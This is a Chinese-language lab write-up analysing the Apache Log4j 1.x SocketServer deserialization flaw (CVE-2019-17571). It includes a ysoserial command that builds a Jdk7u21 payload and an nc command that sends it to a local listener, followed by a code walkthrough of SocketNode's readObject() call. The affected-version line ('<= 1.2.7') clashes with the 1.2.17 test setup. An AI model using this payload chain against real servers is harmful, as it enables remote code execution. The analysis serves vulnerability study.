Log4j 反序列化漏洞分析

1、漏洞相关信息

漏洞名称:Apache Log4j反序列化漏洞

漏洞编号:CVE-2019-17571

漏洞描述

Log4j是Apache开发的一款基于Java的开源日志工具,可以将Web项目中的日志输出到控制台,文件,GUI组件,甚至是套接口服务器。此漏洞是因为Log4j在启动套接字服务器后,对监听端口传入的反序列化数据没有进行过滤,导致可以结合反序列化工具,利用SocketServe类远程执行任意代码。

2、影响版本

Apache Log4j <= 1.2.7

3、环境搭建

本次环境为Log4j1.2.17和JDK1.7

1、新建maven项目,在pom中添加Log4j 1.2.17

2、测试代码

4、漏洞利用

1、使用ysoserial生产反序列化文件

1
java -jar ysoserial-master-30099844c6-1.jar Jdk7u21 "open /Applications/Calculator.app" > payload2.ser

2、启动Log4j套接口日志服务器,监听4444端口

3、发送POC

1
cat payload2.ser | nc 127.0.0.1 4444

5、漏洞分析

SimpleSocketServer主方法处打断点调试,当启动套接字服务器,会监听设置的端口

跟进log4j-1.2.17.jar!org/apache/log4j/net/SimpleSockerServer

继续跟进,当我们接收到的socket数据传入进行处理会调用SocketNode

跟进log4j-1.2.17.jar!org/apache/log4j/net/SocketNode,可以看到在SocketNode方法中创建了一个ObjectInputStream对象直接获取socket输入流进行序列化,最后在run方法中直接调用readObject()进行反序列化操作。

6、参考链接

https://mp.weixin.qq.com/s/RLvvzKbBwKp-War98pvn9w